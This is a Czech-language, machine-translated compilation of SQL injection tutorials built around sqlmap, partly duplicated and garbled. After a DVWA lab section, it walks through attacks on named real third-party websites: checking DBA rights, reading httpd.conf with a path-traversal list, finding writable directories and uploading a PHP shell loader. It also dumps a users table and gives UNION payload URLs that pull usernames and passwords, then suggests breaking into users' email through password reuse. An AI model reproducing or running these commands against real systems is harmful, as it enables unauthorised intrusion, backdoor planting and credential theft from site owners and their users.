Plnění shellu pomocí sql injection. Základní použití SQLMap

SQL Injection je typ útoku, při kterém útočník modifikuje logiku SQL dotazu webové aplikace, což mu umožňuje číst/upravovat/mazat hodnoty v databázi a někdy spouštět libovolný kód na straně serveru. Tento článek se bude zabývat populárním nástrojem sqlmap pro provádění injekcí SQL.

V tuto chvíli je tento typ zranitelnosti nejnebezpečnější ze všech možných. Již 7 let je vedoucí řada „OWASP TOP-10“ v čele s injekcemi SQL.

Existuje 5 hlavních důvodů této chyby zabezpečení:

  1. Nedostatečné nebo chybějící ověření vstupních parametrů, zejména uživatelského vstupu. "Jakýkoli vstupní parametr je zlý"
  2. Nerozumný a slabě chráněný přístup k databázím. Tato kategorie zahrnuje faktory jako: velký počet administrátorů a superuživatelů (root), slabý autentizační systém, velký počet práv pro sekundární administrátory atd.
  3. Architektura. Používání zastaralých technologií, nedostatek kontrolních opatření, zanedbávání metodiky „modelování hrozeb“.
  4. Dědičnost zjevně zranitelného kódu, používání hotových řešení s nízkou úrovní zabezpečení.
  5. Nedostatek vhodné úrovně abstrakce spustitelného kódu z dat.

SQLMap.

Typy SQL injekcí.

Podívejme se na typy SQL injekcí využívané nástrojem SQLMap:

  1. Slepá injekce SQL založená na logice
    • Metoda, při které se požadavky a odpovědi HTTP čtou znak po znaku za účelem zjištění zranitelnosti.
    • Jakmile je detekován zranitelný parametr, SQLMap nahradí nebo přidá syntakticky správné příkazy SQL, zatímco čeká na odpověď serveru provedením tohoto kódu.
    • SQLMap porovnává původní platný požadavek s odpovědí z požadavku s vloženým škodlivým kódem.
    • SQLMap používá algoritmus půlení ( dvousekční algoritmus) k načtení každého znaku odpovědi pomocí maximálně sedmi požadavků HTTP.
    • Pokud odpověď není uvedena v čistém textu, SQLMap přizpůsobí algoritmus větším hodnotám, aby určil odpověď.
  2. Time-Based Blind SQL Injection
    • Samotná metoda založená na čase předpokládá, že existuje určité srovnání na základě doby požadavku a odezvy vložením syntakticky správného příkazu SQL do zranitelného parametru.
    • SQLMap používá příkazy SQL, které pozastaví databázi, aby se vrátila na určitou dobu.
    • Pomocí stejného algoritmu pro rozdělení na výstup znak po znaku porovná SQLMap dobu odezvy HTTP s původním požadavkem.
  3. Injekce SQL založená na chybě
    • SQLMap používá příkazy SQL, které mohou způsobit generování specifických chyb.
    • Obslužný program hledá chyby v HTTP odpovědi serveru.
    • Tato metoda funguje pouze v případě, že je webová aplikace nakonfigurována tak, aby odhalovala chybové zprávy.
  4. Dotaz UNION
    • Vstupní příkaz SQL UNION ALL SELECT .
    • SQL injection na základě UNION dotazů funguje na základě chování aplikace, tzn. když aplikace předá výsledek zapsaného dotazu SELECT prostřednictvím specifické smyčky nebo řádku instrukcí, které umožňují zapsat výstup do obsahu stránky.
    • V případě, že výstup není smyčkován přes žádnou smyčku pro nebo jiný řetězec příkazů, SQLMap používá jednorázové vložení dotazu UNION.
  5. Skládaný dotaz
    • Použití složených dotazů. SQLMap přidá středník (;) k hodnotě ovlivněného parametru a přidá příkaz SQL, který je třeba provést.
    • Pomocí této techniky můžete provádět jiné příkazy SQL než SELECT. To je užitečné pro manipulaci s daty, získání přístupu pro čtení a zápis a nakonec zachycení operačním systémem.
  6. Mimo pásmo
    • Tato metoda používá sekundární nebo jiný komunikační kanál k výstupu výsledků dotazů spuštěných v postižené aplikaci.
    • Například se vkládání provádí do webové aplikace a sekundárního kanálu, jako je např DNS dotazy, slouží k předávání dat zpět do domény útočníka.

Základní použití SQLMap.

Spusťte nástroj (musí být v proměnnéCESTA ):

$sqlmap

Nebo z adresáře utility:

$ python sqlmap.py

Pro vyvolání dokumentace použijte klíč «- h / — pomoc »:

$ sqlmap --help $ python sqlmap.py –help

Akce klíčů SQLMap zcela závisí na tom, čeho přesně chce útočník dosáhnout. Základní seznam akcí SQLMap vypadá takto:

  • Seznam informací o databázi, jako je název, verze a další podrobnosti.
  • Chcete-li zobrazit informace o tabulkách, které obsahuje, vyberte konkrétní databázi.
  • Vyberte tabulku a uveďte informace o sloupcích.
  • Vyberte sloupec a seznam řádků, pro které chcete získat jejich hodnoty.
  • Další vykořisťování.

Praxe.

Pro náš praktický výcvik využijeme Sakra Zranitelný Web Aplikace (DVWA nebo „Zatraceně zranitelná webová aplikace“).

DVWA je bezplatná webová aplikace postavená na technologiích, jako je PHP a MySQL, určená k trénování dovedností v pentestingu.

Nyní nás zajímají pouze injekce, ale obecně si své schopnosti můžete otestovat v dalších zranitelnostech vytvořených na základě oficiální OWASP TOP -10 .

P.S.: Tato praxe předpokládá, že máte znalost základů Linuxu, počáteční úroveň angličtiny a schopnost používat Google (pokud nemáte výše uvedené dovednosti).

Instalace:

  • Stáhněte si aplikaci a postupujte podle pokynů;
  • Změňte úroveň obtížnosti na NÍZKÁ;
  • Zajímají nás pouze záložky „SQL Injection“;

Počáteční údaje:

  • Webový server v privátní síti
  • Zranitelná adresa URL: http:// vaše hostitel . com /dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
  • Zranitelný parametr: id

Takže začneme:

  1. Potvrzujeme dostupnostSQL injekce:
./sqlmap.py --url=”http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie="security=low; PHPSESSID=e8495b455c5ab481e5415

Vysvětlení příkazu:

— url – URL s předpokládaným zranitelným parametrem. Je důležité si uvědomit, že proměnná pro tento klíč je psána v uvozovkách, protože Kontrolovaná adresa URL má více než jeden předaný parametr. Jinak můžete uvozovky ignorovat a použít krátkou verzi klíče “- u bez rovnítka .

- cookie – Session cookie pro přímý přístup během útoku (volitelný klíč).

Závěr:

Analýza:

  • Aplikace je zranitelná vůči SQL injection
  • Typ injekce – UNION Query
  • Back-end databáze (DBMS) – MySQL5
  • Technické detaily OS – Linux Ubuntu 8.04, PHP 5.2.4, Apache 2.2.8
  1. Uvádíme názvy databází:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c4215ab" –dbse5e15ab

Vysvětlení příkazu:

—dbs – klíč pro výpis dostupných databází.

Závěr:

Analýza: SQLMap vypsal dostupné databáze (celkem 7).

  1. Uvádíme názvy tabulek (DB -dvwa ):
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415 –table" -table

Vysvětlení příkazu:

-D – Určete databázi, která nás zajímá.

--tables – Zobrazí seznam dostupných tabulek v databázi.

Závěr:

Analýza: Jak vidíme, SQLMap úspěšně vypsal názvy 2 tabulek v databázi dvwa .

  1. Další výpis názvů sloupců tabulky “uživatelů ”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c4215 - uživatelé – sloupce

Vysvětlení příkazu:

-T – Označte tabulku, která nás zajímá.

—columns – Zobrazí seznam dostupných sloupců v tabulce.

Závěr:

Analýza: Jak vidíme, SQLMap úspěšně vypsal názvy 6 sloupců v tabulce uživatelů, bd dvwa .

  1. Vypisujeme/vytahujeme hodnoty z tabulky “uživatelů ”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c4215 - uživatelé -C id_uživatele,uživatel,heslo --dump

Vysvětlení příkazu:

C – Označte sloupce, které nás zajímají.

--dump – Vypíše hodnoty z uvedených sloupců.

Závěr:

Analýza: Na základě odpovědi SQLMap si všimneme následujících bodů:

  • SQLMap načítá záznamy ze zadaných sloupců a poté analyzuje data obsažená v těchto sloupcích.
  • Jakmile jsou data rozpoznána jako možné hash hesla, SQLMap se pokusí prolomit hash pomocí různých algoritmů hash.
  • V tomto případě je hash MD5, takže s úplně první hashovací technikou, kterou nástroj používá, může úspěšně prolomit hashe a vytvořit dobře naformátovanou odpověď.
  • Kromě toho nástroj ukládá uvedené položky ve formátu souboru „.csv“ pro budoucí použití; Nemusíte tedy vypisovat data do textového souboru nebo pořizovat snímek obrazovky, SQLMap se o to postará.
  1. Další využití a převzetí serveru (A.S.P. , není součástí dodávkyDVWA ):
./sqlmap.py --url="http://192.168.152.129/login.asp" --data="txtLoginID=shrikant&txtPassword=password&cmdSubmit=Login" --os-shell

Vysvětlení příkazu:

—data – Zadejte parametry pro testování, které se odesílají v požadavku POST.

—os —shell – Speciální klíč pro pokus o zneužití konzole serveru pomocí SQL injection.

Závěr:

Analýza: Na základě odpovědi SQLMap si všimneme následujících bodů:

  • Po potvrzení a využití SQL injection SQLMap zkontroluje, zda je uživatel DBA (Data Base Administrator).
  • Nástroj se poté pokusil použít rozšířenou uloženou proceduru – „xp_cmdshell“, kterou běžně používá SQL Server 2000.
  • "xp_cmdshell" se používá ke spuštění daného příkazového řádku jako příkaz operačního systému. Výsledek pak vypíše jako standardní text.

Výhody získání hlubší úrovně přístupu k systému:

  • Přístup k přihlašovacím údajům uživatele nebo hodnotám hesel.
  • Interaktivní shell, který vám umožní nahrávat nebo stahovat soubory ze serveru.
  • Spuštěním příkazů osy (OS) prozkoumejte vnitřní síť.
  • Schopnost stáhnout malware.
  • Další využití pomocí Metasploit Framework.
  • Tvorba a plnění zadních vrátek.

Doporučené postupy a pokročilé použití.

  1. SQLMap AMÝDLO (Jednoduchý Objekt Přístup Protokol ) požaduje: Proces analýzy požadavků SOAP je poměrně jednoduchý:
    • Zachyťte svůj požadavek SOAP.
    • Uložení do textového souboru spolu s možnými zranitelnými parametry.
    • Pokud znáte parametr zranitelnosti, použijte níže uvedený příkaz pro SQLMap spolu s volbou -p:
$ ./sqlmap.py -r So_request.txt -p
    • SQLMap automaticky analyzuje požadavek SOAP a pokusí se proniknout do zranitelného parametru.
  1. SQLMap AJSON (JavaScript Objekt Notový zápis ) požaduje: V podobných scénářích pro použití SQLMap pro dotazy SOAP lze také analyzovat a využívat dotazy JSON. U typu dotazu JSON vás SQLMap vyzve ke zneužití této chyby zabezpečení tím, že v „souboru dotazu“ detekuje typ dotazu JSON. Jakmile odpovíte ano, nástroj analyzuje požadavek a zvolí svůj vlastní vektor útoku.
  2. SQLMap a proxy server: Podnikové typy sítí jsou typicky zabezpečené a monitorované pomocí řízených proxy pro veškerý příchozí nebo odchozí provoz. V takových případech máte možnost přidat volbu proxy přímo do volby SQLMap pro komunikaci s cílovou URL. Přestože je SQLMap nástroj příkazového řádku, komunikuje prostřednictvím protokolu HTTP, takže pokud nastavíte HTTP proxy pro odpovídající připojení k Internetu, SQLMap jej vezme jako základ:
$ ./sqlmap.py --proxy=http:// :
  1. SQLMap AWAF (Web Aplikace Firewall ): WAF je další vrstva ochrany pro webové aplikace, která významně komplikuje analýzu a provoz pomocí standardních metod dostupných v SQLMap. K tomuto účelu slouží funkce „tamper -script“, která výrazně zjednodušuje práci s webovými aplikacemi umístěnými za WAF.
  2. SQLMap a anonymita: Pokud chcete skrýt svou identitu a tvářit se jako anonymní pro cílovou aplikaci, můžete použít proxy server TOR (The Onion Router). V SQLMap můžete nakonfigurovat proxy TOR tak, aby skryl zdroj, ze kterého je generován provoz nebo požadavek, pomocí následujících klíčů:
    • tor přepnutí utility do režimu TOR proxy.
    • tor typ ruční konfigurace protokolu TOR proxy (HTTP /SOCKS 4/4a /5).
    • kontrola tor kontrola funkčnosti TOR proxy

Spoiler: .ZEN

Na webu máme SQL Injection, který vypadá takto:

První věc, kterou chceme udělat, je zkontrolovat, zda máme oprávnění zapisovat soubory na napadený zdroj, načíst terminál a zadat následující příkaz:

Http://www.sacoor.com/site_terms.php?lang=cs --banner --current-db --current-user --is-dba

Stiskneme Enter a začne analýza naší SQL Injection, sestava vypadá takto:

Jak můžete vidět ve zprávě, je napsána verze Apache, verze MySQL a verze OS nainstalovaného na serveru, to vše se nám v budoucnu bude hodit, ale hlavně vidíte, že máme práva k zápisu souborů, toto se zobrazuje v řádku Aktuální uživatel je DBA: True

Dalším krokem pro nás je získat cesty k zaznamenání našeho shellu. Cestu k našemu webu na serveru můžeme získat stažením souboru httpd.conf. Informace o umístění souboru httpd.conf získáváme pomocí Google, můžete vyhledávat podle verze operačního systému, který je nainstalován, nebo podle seznamu nejpravděpodobnějších cest. Obecně se nebudu pouštět hluboko do procházení vyhledávačů, stačí, když zjistíte nejpravděpodobnější umístění cesty k souboru, pak je čas stáhnout si stejný soubor na disk, k tomu zadejte následující příkaz a požadavek na přečtení souboru na serveru:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=cs --file-read=/etc/httpd/conf/httpd.conf

Ihned poznamenejme, že tento konfigurační soubor není vždy možné najít napoprvé, takže můžete použít nejpravděpodobnější cesty, kde se tento soubor může nacházet:

SEZNAM MOŽNÝCH CEST K KONFIGURAČNÍMU SOUBORU:

../../../../../../../../../usr/local/apache/conf/httpd.conf ../../../../ ../../../../../usr/local/apache2/conf/httpd.conf ../../../../../../../../ usr/local/apache/httpd.conf ../../../../../../../../usr/local/apache2/httpd.conf ../../.. /../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/ local/etc/apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../.. /../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../ usr/apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../.. /../../../usr/local/apps/apache2/conf/httpd.conf ../../../../../../../usr/local/apps/ apache/conf/httpd.conf ../../../../../../etc/apache/conf/httpd.conf ../../../../../. ./etc/apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../ ../../etc/http/conf/httpd.conf ../../../../../../etc/apache2/httpd.conf ../../../. ./../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../. ./../../etc/httpd.conf ../../../../../opt/apache/conf/httpd.conf ../../../../. ./opt/apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf

Obdržíme zprávu od sqlmap v následující podobě:

Jak můžete vidět, sqlmap nám řekl, že soubor má stejnou velikost jako soubor na serveru, proto máme právo tento soubor číst. Pokud by nebyla dostatečná práva ke čtení tohoto souboru, objevila by se chyba, že soubor uložený na našem počítači má jinou velikost než soubor na serveru, nebo na serveru není žádný soubor v zadané cestě a nikdy nebyl byl. Sqlmap uložil náš soubor do souborů sestav a k jeho přečtení musíme spustit správce oken. Pro spuštění správce oken otevřeme další okno terminálu a zadáme příkaz:

Dále ve správci, který se otevře, sledujeme cestu, kam sqlmap přidal soubor, tj.:
/root/.sqlmap/output/sacoor.com
Poté najeďte kurzorem na soubor, stiskněte tlačítko F3 na klávesnici a přečtěte si konfigurační soubor Apache:

Z našeho konfiguračního souboru vidíme, že naše stránka je umístěna na serveru na následující cestě:
/home/sbshop/site/

Nyní, když máme trochu informací, můžeme zkusit naplnit shell, k tomu zadáme následující příkaz:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=cs --os-cmd –v l

Po zadání příkazu se sqlmap zeptá, jaký typ výplně chceme použít, protože... v našem případě je stránka v PHP, poté nahrajeme PHP-loader, vybereme položku 4 a stiskneme Enter. Dále nás sqlmap požádá, abychom vybrali, kam nahrajeme náš loader, a protože... Již známe cestu k našemu webu na serveru, poté vyberte položku 2, stiskněte Enter a uveďte cestu k webu:
/home/sbshop/site/

A poté stiskněte Enter a podívejte se na následující přehled:

V tomto případě nám sqlmap říká, že nemáme práva pro zápis do této složky. Žádný problém, tento problém je docela snadné vyřešit. Dáváme příkaz ke spuštění uniscan a kontrole souborů a složek na zapisovatelnost, zde je příkaz.

No a k tématu:

Spoiler: Naplňte skořápku

Na webu máme SQL Injection, který vypadá takto:

Pro zobrazení odkazů musíte být registrováni.


První věc, kterou chceme udělat, je zkontrolovat, zda máme oprávnění zapisovat soubory na napadený zdroj, načíst terminál a zadat následující příkaz:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=cs --banner --current-db --current-user --is-dba

Klikněte Vstupte a začne analýza našeho SQL Injection, sestava vypadá takto:

Jak můžete vidět ve zprávě, je napsána verze Apache, verze MySQL a verze OS nainstalovaného na serveru, to vše se nám v budoucnu bude hodit, ale hlavně vidíte, že máme práva k zápisu souborů, toto se zobrazuje v řádku Aktuální uživatel je DBA: True

Dalším krokem pro nás je získat cesty k zaznamenání našeho shellu. Cestu k našemu webu na serveru můžeme získat stažením souboru httpd.conf. Informace o umístění souboru httpd.conf získáváme pomocí Google, můžete vyhledávat podle verze operačního systému, který je nainstalován, nebo podle seznamu nejpravděpodobnějších cest. Obecně se nebudu pouštět hluboko do procházení vyhledávačů, stačí, když zjistíte nejpravděpodobnější umístění cesty k souboru, pak je čas stáhnout si stejný soubor na disk, k tomu zadejte následující příkaz a požadavek na přečtení souboru na serveru:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=cs --file-read=/etc/httpd/conf/httpd.conf

Ihned poznamenejme, že tento konfigurační soubor není vždy možné najít napoprvé, takže můžete použít nejpravděpodobnější cesty, kde se tento soubor může nacházet:

SEZNAM MOŽNÝCH CEST K KONFIGURAČNÍMU SOUBORU:

../../../../../../../../../usr/local/apache/conf/httpd.conf ../../../../ ../../../../../usr/local/apache2/conf/httpd.conf ../../../../../../../../ usr/local/apache/httpd.conf ../../../../../../../../usr/local/apache2/httpd.conf ../../.. /../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/ local/etc/apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../.. /../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../ usr/apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../.. /../../../usr/local/apps/apache2/conf/httpd.conf ../../../../../../../usr/local/apps/ apache/conf/httpd.conf ../../../../../../etc/apache/conf/httpd.conf ../../../../../. ./etc/apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../ ../../etc/http/conf/httpd.conf ../../../../../../etc/apache2/httpd.conf ../../../. ./../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../. ./../../etc/httpd.conf ../../../../../opt/apache/conf/httpd.conf ../../../../. ./opt/apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf

Obdržíme zprávu od sqlmap v následující podobě:


Jak můžete vidět, sqlmap nám řekl, že soubor má stejnou velikost jako soubor na serveru, proto máme právo tento soubor číst. Pokud by nebyla dostatečná práva ke čtení tohoto souboru, objevila by se chyba, že soubor uložený na našem počítači má jinou velikost než soubor na serveru, nebo na serveru není žádný soubor v zadané cestě a nikdy nebyl byl. Sqlmap uložil náš soubor do souborů sestav a k jeho přečtení musíme spustit správce oken. Pro spuštění správce oken otevřeme další okno terminálu a zadáme příkaz:

Dále ve správci, který se otevře, sledujeme cestu, kam sqlmap přidal soubor, tj.:
/root/.sqlmap/output/sacoor.com
Poté najeďte kurzorem na soubor a stiskněte tlačítko F3 na klávesnici a přečtěte si konfigurační soubor Apache:


Z našeho konfiguračního souboru vidíme, že naše stránka je umístěna na serveru na následující cestě:
/home/sbshop/site/

Nyní, když máme trochu informací, můžeme zkusit naplnit shell, k tomu zadáme následující příkaz:

Po zadání příkazu se sqlmap zeptá, jaký typ výplně chceme použít, protože... v našem případě je stránka v PHP, pak nahrajeme PHP-loader, vyberte bod 4 a stiskněte Enter. Dále nás sqlmap požádá, abychom vybrali, kam nahrajeme náš loader, a protože... již známe cestu k našemu webu na serveru, pak vyberte bod 2, stiskněte Vstupte a zadejte cestu k webu:
/home/sbshop/site/

A poté stiskneme Vstupte a vidíme následující zprávu:


V tomto případě nám sqlmap říká, že nemáme práva pro zápis do této složky. Žádný problém, tento problém je docela snadné vyřešit. Dáváme příkaz ke spuštění uniscan a kontrole zapisovatelných souborů a složek, zde je příkaz:

Uniscan -u http://www.sacoor.com/ -qwe

Nyní skener zkontroluje všechny zapisovatelné adresáře:


Skener našel tři adresáře s možností zápisu souborů, takže zkoušíme znovu načíst náš shell loader, ale tentokrát jiným způsobem. Spusťte příkaz znovu:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=cs --os-cmd –v l

a výběrem bod 4(vyplnění PHP skriptu), zadejte cestu:
/home/sbshop/site/admin

Vidíme následující.

Co je to sqlmap a k čemu slouží?

Program vám umožňuje kontrolovat stránky na zranitelnost SQL injection, XSS zranitelnost a také využívat SQL injection. Jsou podporovány různé typy injekcí SQL a různé databáze.

Co můžete dělat s sqlmap

Pomocí sqlmap můžete:

  • zkontrolovat, zda webové stránky nemají zranitelnosti

Pokud je web zranitelný vůči SQL injection, je možné:

  • přijímat informace z databáze, včetně výpisu (celé) databáze
  • upravovat a mazat informace z databáze
  • nahrát shell (backdoor) na webový server

Jeden ze scénářů použití sqlmap:

  • Získání uživatelského jména a hesla z databáze
  • Vyhledat panely pro správu webu (panel správce)
  • Přihlaste se do administračního panelu pomocí přijatého přihlašovacího jména a hesla

Pokud existuje zranitelnost, útok se může vyvinout různými směry:

  • Úprava dat
  • Plnění zadních vrátek
  • Vložení kódu JavaScript za účelem získání uživatelských dat
  • Implementační kód pro připojení k BeEF

Jak vidíme, SQL injection je velmi nebezpečná zranitelnost, která dává útočníkovi velké příležitosti.

Kontrola webových stránek pomocí sqlmap

Pokud web přijímá data od uživatele pomocí metody GET (když je v adresním řádku prohlížeče vidět jak název proměnné, tak přenášená data), je třeba vybrat adresu stránky, na které je tato proměnná současnost. Následuje otazník ( ? ), Například:

  • http://www.dwib.org/faq2.php?id=8
  • http://www.wellerpools.com/news-read.php?id=22
  • http://newsandviews24.com/read.php?id=p_36

V první adrese je název proměnné id a předaná hodnota je 8 . Ve druhé adrese je také název proměnné id a přenášenou hodnotu 22 . Ve třetím příkladu je název proměnné stejný, ale předávaná hodnota je p_36. Stejný název proměnné je náhodná shoda pro různé weby, může to být cokoliv, přenášená data mohou být cokoli, může existovat několik proměnných s hodnotami oddělenými symbolem & .

Pokud chceme zkontrolovat, zda je proměnná id zranitelná vůči SQL injection, pak musíme zadat celou adresu – http://www.dwib.org/faq2.php?id=8 (ne http://www.dwib .org /faq2.php nebo http://www.dwib.org).

Příkaz pro kontrolu proměnné předávané metodou GET je velmi jednoduchý:

Sqlmap -u adresa_webu

Pro tyto stránky budou příkazy:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 sqlmap -u http://www.wellerpools.com/news-read.php?id=22 sqlmap -u http://newsandviews24 .com/read.php?id=p_36

Během procesu ověřování může sqlmap klást různé otázky a vy na ně musíte odpovědět y(tj. Ano) popř n(tj. Ne). Písmeno y a n může být velké nebo malé. Velké písmeno znamená výchozí volbu, pokud s ní souhlasíte, pak stačí stisknout Enter.

Příklady situací a otázek:

Heuristika zjistila, že cíl je chráněn nějakým druhem WAF/IPS/IDS chcete, aby se sqlmap pokusil detekovat backendový WAF/IPS/IDS?

Heuristika určila, že cíl je chráněn nějakým druhem WAF/IPS/IDS. Chcete, aby se sqlmap pokusil určit název WAF/IPS/IDS?

Moje oblíbená žádost:

Heuristický (základní) test ukazuje, že parametr GET "id" může být injektovatelný (možná DBMS: "MySQL"), testování pro SQL injection na parametru GET "id" vypadá to, že back-end DBMS je "MySQL". Chcete přeskočit testovací užitečné zatížení specifické pro jiné DBMS?

Jde o to, že heuristika určila, že parametr může být zranitelný a vzdálený DBMS již byl identifikován, jsme dotázáni, zda chceme v kontrole pokračovat. A na druhém snímku obrazovky je web také zranitelný vůči XSS.

Pokud chcete proces automatizovat tak, aby se vás sqlmap pokaždé neptal, ale použil výchozí výběr (vždy existují lepší možnosti), můžete spustit příkaz s možností --dávka:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 --batch

Možné problémy při skenování sqlmap

Mohou se objevit následující chyby:

Vypršel časový limit připojení k cílové adrese URL. Pokud problém přetrvává, sqlmap zopakuje požadavek (požadavky), zkontrolujte, zda je zadaná cílová adresa URL platná. V případě, že ano, můžete zkusit znovu spustit se zapnutým přepínačem "--random-agent" a/nebo přepínači proxy ("--ignore-proxy", "--proxy",...)

Znamená to, že web nechce „mluvit“ se sqlmap. Jako možnost se nám nabízí použití --náhodný-agent. Pokud můžete web sledovat v prohlížeči, ale sqlmap píše o nemožnosti připojení, pak web ignoruje požadavky a zaměřuje se na uživatelského agenta. Možnost --random-agent změní standardní hodnotu sqlmap na náhodnou:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent

Dalším důvodem této chyby může být, že vaše IP adresa je blokována webem – pak musíte použít proxy. Pokud již používáte proxy a objeví se tato chyba, může to znamenat, že proxy má problémy s komunikací a měli byste to zkusit bez něj.

výsledky skenování sqlmap

Zjištěné SQL injekce se zobrazí následovně:

Tito. jsou zvýrazněny tučnou zelenou barvou, je napsán název zranitelného parametru, typ zranitelnosti SQL a je tam slovo injekční.

Získání seznamu databází pomocí sqlmap

Chcete-li získat seznam databází, použijte volbu --dbs. Příklady:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 --dbs sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent --dbs sqlmap -u http://newsandviews24.com/read.php?id=p_36 --dbs

Získávání informací z databází

Například pro web wellerpools.com byly nalezeny dvě databáze:

[*] information_schema [*] main_wellerpools

Chci znát seznam tabulek v databázi main_wellerpools. Chcete-li to provést, použijte možnost --tabulky. Kromě toho musíme za opcí označit tabulku, o kterou máme zájem -D:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools --tables

Seznam stolů:

Z nějakého důvodu chci znát seznam sloupců z tabulky uživatelů. Chcete-li to provést, použijte možnost --sloupce. Kromě toho musíme uvést databázi, o kterou máme zájem ( -D main_wellerpools) a po klíči -T tabulka, pro kterou chceme vidět seznam sloupců:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T users --columns

Chcete-li zobrazit obsah, použijte volbu --skládka. Může být specifikován společně s databází a následně bude proveden výpis celé databáze, nebo můžete data omezit na jednu tabulku či dokonce jeden sloupec. Pomocí následujícího příkazu chci vidět obsah celé tabulky uživatelů:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T users --dump

Podívejte se na hesla - při rychlé kontrole jsem si myslel, že jsou to hashe. Admini se opravdu snažili bránit, ale nepomohlo jim to.

Mimochodem, protože parametr, který přijímá data odeslaná metodou GET, je zranitelný, můžete vytvořit požadavek přímo v řádku prohlížeče tak, že přihlašovací jméno a heslo uživatele se zobrazí přímo na samotném webu:

  • http://www.wellerpools.com/news-read.php?id=-22+union+select+1,group_concat(user_name,0x3a,user_pwd),3,4,5,6,7,8,9, 10+od+uživatelů--
  • http://www.wellerpools.com/news-read.php?id=-22+UNION+SELECT+1,group_concat(user_id,0x3e,user_name,0x3e,user_pwd),3,4,5,6,7, 8,9,10+od+uživatelů--

Tito. Máme uživatelské jméno, heslo a e-mail uživatelů (a pravděpodobně i administrátorů) webu. Pokud najdete administrativní panel webu, můžete získat kontrolu nad webem nebo webovým serverem. Vzhledem k lásce uživatelů ke stejným heslům a znalosti jejich poštovních schránek se můžete pokusit hacknout jejich poštu.

Obecně je SQL injection velmi nebezpečnou zranitelností.

Zdravím vás, čtenáři. V poslední době se zajímám o webovou bezpečnost a do jisté míry s tím souvisí i moje práce. Protože Stále častěji jsem si začal všímat témat na různých fórech, která se jich ptala, aby ukázali, jak to celé funguje, a tak jsem se rozhodl napsat článek. Článek bude zaměřen na ty, kteří se s tím nesetkali, ale rádi by se poučili. Článků na toto téma je na internetu relativně hodně, ale pro začátečníky jsou trochu komplikované. Pokusím se vše popsat srozumitelným jazykem a podrobnými příklady.

Předmluva

Abyste tomuto článku porozuměli, nepotřebujete opravdu znalost jazyka SQL, ale alespoň dobrou trpělivost a trochu mozku na zapamatování.

Věřím, že pouhé přečtení článku nebude stačit, protože... potřebujeme živé příklady - jak víte, praxe v procesu zapamatování není nikdy zbytečná. Proto budeme psát zranitelné skripty a trénovat na nich.

Co je SQL injection?
Zjednodušeně se jedná o útok na databázi, který vám umožní provést nějakou akci, kterou tvůrce scénáře neplánoval. Příklad ze života:

Otec napsal své matce, aby dala Vasyovi 100 rublů a položila ji na stůl. Přepracováním do komiksového jazyka SQL dostaneme:
Vezmi 100 RUBLŮ Z PENĚŽENKY A DEJ JE Vasyovi

Vzhledem k tomu, že otec napsal dopis špatně (nemotorný rukopis) a nechal ho na stole, viděl to Vasyin bratr Petya. Petya jako hacker tam přidal „NEBO Pete“ a výsledkem byl následující požadavek:
Vezmi 100 RUBLŮ Z SVÉ PENĚŽENKY A DEJ JE Vasyovi NEBO Péťovi

Máma se po přečtení poznámky rozhodla, že včera dala peníze Vasyovi a dala 100 rublů Petyi. Tady je jednoduchý příklad SQL injection ze života:) Bez filtrování dat (máma sotva rozuměla rukopisu) Péťa vydělal.

Příprava
Pro procvičení budete potřebovat archiv se zdrojovými skripty k tomuto článku. Stáhněte si jej a rozbalte na serveru. Také importujte databázi a nastavte data v souboru cfg.php

Vyhledávání SQL injection

Jak jste již pochopili, injekce pochází z příchozích dat, která nejsou filtrována. Nejčastější chybou je nefiltrování přenášeného ID. Zhruba řečeno, dávejte uvozovky do všech polí. Ať už je to požadavek GET/POST nebo dokonce cookie!

Numerický vstupní parametr
Pro cvičení potřebujeme skript index1.php. Jak jsem řekl výše, do ID zpráv vkládáme uvozovky.

Protože Náš požadavek nemá žádné filtrování:

$id = $_GET["id"]; $query = "VYBRAT * Z novinek WHERE id=$id";

Skript to pochopí jako

SELECT * FROM news WHERE id=1"

A vypíše nám to chybu:
Upozornění: mysql_fetch_array() očekává, že parametr 1 bude zdrojem, booleovský zadaný v C:\WebServ\domains\sqlinj\index1.php na řádku 16

Pokud se chyba nezobrazí, mohou to být následující důvody:

